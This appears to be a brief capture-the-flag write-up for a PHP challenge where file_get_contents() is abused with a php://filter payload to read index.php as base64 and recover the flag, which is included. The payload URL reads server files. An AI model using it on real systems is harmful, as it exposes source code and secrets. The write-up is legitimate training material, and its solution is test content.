file_get_contents SSRF
file_get_contents SSRF
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: base64_source_read, php_filter_wrapper, ssrf_source_disclosure
Summary
Walkthrough of the CUSTOM Web file_get_contents SSRF. PHP SSRF with file_get_contents function.
Description
PHP SSRF with file_get_contents function.
URL: https://advweb3.spb.ctf.su/
Analysis
The web application uses the PHP file_get_contents() function to load resources by URL. This function supports various PHP stream wrappers, including php://filter, which allows reading PHP file source code.
The flag is located in the $flag variable inside the source code at /var/www/html/index.php.
Solution
- Identified that the application uses
file_get_contents()to load resources - Used PHP filter wrapper to read the source code in base64:
php://filter/convert.base64-encode/resource=/var/www/html/index.php
- Decoded the received base64:
bash read-only • copy allowedecho "PD9waHAKJGZsYWcgPSAic3BiY3RmezE0M2YxMDQ0YjIyODgxMmI4YWQwNTA3MzUwNzI0ZWQ3fSI7Ci4uLg==" | base64 -d
- Found the flag in the
$flagvariable in the decoded source code
Full payload URL:
https://advweb3.spb.ctf.su/?url=php://filter/convert.base64-encode/resource=/var/www/html/index.php
Key Takeaways / Lessons
- Mastering base64_source_read, php_filter_wrapper, ssrf_source_disclosure was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-03-09 • CUSTOM • file_get_contents SSRF • Difficulty: Easy